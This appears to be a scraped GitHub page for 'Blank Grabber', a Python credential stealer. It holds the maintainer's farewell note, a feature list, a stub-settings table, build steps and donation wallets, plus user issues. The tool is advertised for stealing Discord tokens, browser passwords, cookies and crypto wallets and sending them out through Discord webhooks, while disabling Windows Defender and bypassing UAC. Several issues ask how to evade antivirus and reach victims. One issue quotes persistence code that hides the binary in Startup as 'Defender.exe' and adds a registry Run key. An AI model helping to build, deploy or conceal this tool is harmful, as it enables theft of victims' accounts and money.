blank-c / blank-grabber

The most powerful stealer written in Python 3 and packed with a lot of features.

Blank Grabber

Project Status: Coming to an End

Dear contributors and users,

I hope this message finds you all well. I wanted to take a moment to share an important update regarding this project.

Over the past year, we've worked together to build and improve this project. It has been an incredible journey, and I'm immensely grateful for all the contributions, feedback, and support from each one of you. This project has not only helped me improve my Python skills but has also been a great opportunity to explore and learn more about computer systems.

However, as the saying goes, all good things must come to an end. As I approach the final year of my school journey, I find myself needing to focus on my academic responsibilities and make room for new opportunities ahead. Therefore, I have decided to step back from actively maintaining this project.

I want to express my sincere appreciation to everyone who has participated in this project, be it through code contributions, issue reporting, or offering valuable insights. Your involvement has been the driving force behind the project's success.

I'm happy to announce that noahmajors, one of the contributors to this project, has taken the initiative to fork the repository and continue its development. You can find the active fork at the following link: https://github.com/f4kedre4lity/Blank-Grabber

I encourage you all to show your support to noahmajors and the new direction they will take the project. Please consider contributing to the fork if you are interested in its future development.

While this marks the end of my direct involvement with this project, I sincerely hope that the codebase and knowledge shared here will continue to benefit the community.

Thank you all once again for being part of this journey. I wish you all the best in your endeavors and hope our paths may cross again in the future.

Best regards,
Blank-c

Table of Contents

• Download
• Features
• Stub Settings
• Requirements
• How to Build?
• Support the Project

Download

Disclaimer: This program is provided for educational and research purposes only. The creator of this program does not condone or support any illegal or malicious activity, and will not be held responsible for any such actions taken by others who may use this program. By downloading or using this program, you acknowledge that you are solely responsible for any consequences that may result from the use of this program.

Note: If the grabber fails to function, attempt rebuilding it without enabling the "Anti VM" option.

Note 2: To decrease the chances of detections, you can download MingGW-w64 (with GCC) and include the "bin" folder in the PATH variable.

Features

• GUI Builder.
• UAC Bypass.
• Custom Icon.
• Runs On Startup.
• Disables Windows Defender.
• Anti-VM.
• Blocks AV-Related Sites.
• Melt Stub.
• Fake Error.
• EXE Binder.
• File Pumper.
• Obfuscated Code.
• Discord Injection.
• Steals Discord Tokens.
• Steals Steam Session.
• Steals Epic Session.
• Steals Uplay Session.
• Steals Passwords From Many Browsers.
• Steals Cookies From Many Browsers.
• Steals History From Many Browsers.
• Steals Autofills From Many Browsers.
• Steals Minecraft Session Files.
• Steals Telegram Session Files.
• Steals Crypto Wallets.
• Steals Roblox Cookies.
• Steals Growtopia Session.
• Steals IP Information.
• Steals System Info.
• Steals Saved Wifi Passwords.
• Steals Common Files.
• Captures Screenshot.
• Captures Webcam Image.
• Sends All Data Through Discord Webhooks/Telegram Bot.
(...more)

Stub Settings

Option	Description
Ping Me	Pings @everyone when someone runs the stub.
Anti VM	Tries its best to prevent the stub from running on Virtual Machine.
Put On Startup	Runs the stub on Windows starup.
Melt Stub	Deletes the stub after use.
Pump Stub	Pumps the stub upto the provided size.
Fake Error	Create custom (fake) error.
Block AV Sites	Blocks AV related sites (Unblock).
Discord Injection	Puts backdoor on the Discord client for persistence.
UAC Bypass	Tries to get administrator permissions without showing any prompt.

Supports: Windows 8+ (Tested on Windows 10).

Requirements

To build the stub, you need:

• Windows 10.
• Python 3.10+.
• An active internet connection.

How to Build?

1. Download and install Python 3 (Make sure to enable the Add to PATH option.)
2. Verify the installation by executing python --version in CMD.
3. Download Blank Grabber.
4. Extract the zip file.
5. Navigate to the Blank Grabber folder and double click Builder.bat file.
6. Fill in the fields of the builder and press the Build button.

Support the Project

If you find this project useful and would like to show your support, you can make a donation using the following cryptocurrencies:

• Bitcoin (BTC):

  • Wallet Address: bc1quyf7d2cwrd0rgtyhtjt7ermxlw4hzg8npr4yce

• Ethereum (ETH):

  • Wallet Address: 0x54Ab5743141c781178863e3F658d48Cb9564f520

• USDT (Tron network):

  • Wallet Address: TJsixSZ9LDpn3ZNF8pEKmfNaNkMTrK1hWJ

blank-grabber's Issues

dist file

when i finish making the grabber i cant find the dist file, is it in another directory or am i just stupid, any help would be appreciated

what file are the chrome passwords?

Doesnt send anything

The BlankGrabber.exe doesnt send anything. Tried with 3 Different Servers and 5 Webhooks. It just doesnt send it

configure

please add comands for configurations and execution

Still no Discord Message

YEEEEE again. Again no message, made on a REAL MACHINE, with the leveldb folder. All antivirus stuff & Firewall off

Crashes/closes after Icon

After i typed in the icon name it just closes. It also happens when i dont type anything in. Theres no python error message or something like that. I have Python 3.10.2 installed

Passwords encrypted & no token

It doesnt send the token, and the passwords are all encrypted (which btw makes sense)

Unable to connect to the internet

When i try to test the webhook it freeze an say Unable to connect to the internet

not sure if its working

sorry for the stupid question but i dont know if its working, i built the thing and nothing happened.

what do i do?

thanks in advance :)

Missing module

Why is Pentagram IP pinger in the files?

just why

Grabber does not run in VMs/sandbox

i haved already follow all instrucsions. I bring exe file run into sand box which have logged Facebook acc. But nothing happened. the progam did nothing. No data has sent to my discord webhook

How to disinfect my system?

I ran the grabber on my pc but keep getting pinged now and I check the 'startup' folder but there is no vbs in there and I have hidden files shown on, how do I remove it?

Convert to exe.bat

Finished too fast basically upon opening the bat and no "dist" folder

Discussion

Can i vocal with you on discord ?

Suggestion

Sorry for all of the posts but I was wondering how do people make these sort of things and how did you make it search through chrome for passwords. Ill stop asking on forums after this. Also, what's your discord.

Missing Key

help buddy

What does Enter Icon Name mean?

title.

Why do you encode all of your scripts?

What are the .aes files?

Well for those who think "it is a virus/rat", let me be clear to you, its Nirsoft password extractor and cookie extractor.

If you wanna see, you can decrypt them with the a.es file.

a.es -d -p blank <filename>

Those are encrypted to prevent antiviruses from deleting them.

Just a question

i was just wondering if there is any tools that can make this so when the victim downloads this, the anti virus doesn't go off right away until they open it and its too late. I have made a program to bind this stub to and if you have any programs or tips that can make it undetectable until they open it that would be freaking awesome

Does it work instantly or do I have to add my webhook

So does it

Great code, great project but;

"There is a very low chance that your webhook is going to be found."

This phase is kinda wrong, I saw anti-debugger code present in code but it's not enough. There is many ways to bypass anti-debugger checks.

i need version without take screenshot

can you provide me version without taken a screenshot ?

does it steal "seed phrases" and crypto wallets?

does it steal "seed phrases" and crypto wallets?

Removing the Grabber

I ran the file on my pc just to make sure it works and now it wont stop pinging me my info, how do i remove the spyware from my pc?

Folder In Use

it says that the dist folder is in use but its not even open on my taskbar or anywhere else

Failed to execute script 'BlankGrabber' due to unhandled exception: No module named 'Crypto'

I ran both bats properly and tried to reinstall Crpyto.Cipher through terminal did not work at all. could i get some help

What does this part of the code

if not os.path.basename(os.path.normpath(sys.executable)) == "Startup" and not os.path.basename(os.path.normpath(sys.executable)) == "Windows":
                        BlankGrabber.copy('BlankGrabber', sys.executable, os.getenv('USERPROFILE')+"/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/Defender.exe")
                        BlankGrabber.copy('BlankGrabber', sys.executable, "C:/ProgramData/Microsoft/Windows/Start Menu/Programs/Startup/dconfig.exe")
                        BlankGrabber.copy('BlankGrabber', sys.executable, "C:/Windows/dcsconfig.exe")
                        os.system('REG ADD "HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" /V "Cloud" /t REG_SZ /F /D "C:/Windows/dcsconfig.exe"')
                        try:
                            os.system(f"attrib {os.getenv('USERPROFILE')}/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/Defender.exe +h +s")
                            os.system("attrib C:/ProgramData/Microsoft/Windows/Start Menu/Programs/Startup/dconfig.exe +h +s")
                            os.system("attrib C:/Windows/dcsconfig.exe +h +s")

Do you know of any token grabbers for mobile? Or will your work for mobile?

Invalid Webhook

I have created 3 channels , voice and text, created webhooks, but your software it always tell me invalid hook.

'env' is not recognized as an internal or external command, operable program or batch file.

the file was to large so i was doing the virtual environment thing, i had put into cmd the "virtualenv env" and all is well, but when i put in "env/Scripts/activate" it said that env wasnt recognized as an internal or external command, operable program or batch file.

Heres a screen shot.

Encode Cookis

I don't know >>>>>>How to encode this cookies

Virus

Chrome recognises it as a virus is there anyway this can be avoided. Same with windows although i think itd be hefty work to avoid windows defender.

Where can the txt files be found?

now ofc I am trying this on myself before anything to test it's working properly and so I'm receiving the notifications through the discord web hook but I can't seem to find where the txt files and grabbed information is stored.

Suggestion

Can you make it that it grabs their discord token aswell and not just their log in details. Another suggestions, can you make gather all passwords from all browsers on the pc?

Virus

Why is the code obfuscated even for the reverse obfuscator

Just by analyzing i can tell you do not download until he acutely releases open source :/

Folder doesnt open

The Folder doesnt open, after running the "run" command. The "run.bat" fails to call the "convert.bat".

don't work

when a execute the exe nothing happenend

not an issue

do u ppl have a discord server?

didn't run in startup

i did the exe in startup and restart my PC but the exe file not work ,

I reteset same scenario with njrat it woks

but why the blank exe not work ?

none of the batch files opening

if not exist activate.bat exit
call activate
ig you forgot to change the name of some file pls check it out

contect discord

i sant discord invitation requast to you, can you accapt it?
cuz i have bunch of question to ask
or i can just ask here

1. can you gave me the website to install the virtualenv? i did find it myself but i don't want to download the worng one
   thanks
   i just start learning codes

Does it works with discord app?

Rhetorical question:
Someone has a discord account, but is only using it in the app, and has the password not saved in chrome, Does it work?

Invalid Discord Webhook

When copying and pasting webhooks from discord, the program states that it is invalid. After reading through the script, I cant find why to as this is, because it checks that the url starts with https://discordapp.com/api/webhooks/. Dont know what the issue could be

detected by Zillya

so i tried to test my file on hybrid analysis, the most of the grabber works, other than detections, in which this case is detected by zillya.
heres the link to the analysis: https://www.hybrid-analysis.com/sample/3bd142722a9bd89b0992ea15f95fba2ae4b5b92811e7de11d7f5afaca4fda8c6

question

does it grab cookies and passwords from microsoft edge? if not is there an update soon for it?

folder not opening

ive done everything and the dist file doesnt open

Start the Grabber

Is there a way to start the Grabber using a .bat? "start "Blank Grabber.exe"" results in a cmd without starting the grabber

after i do everything where is the grabber??

i did the webhhook and i put y and i just left the icon blank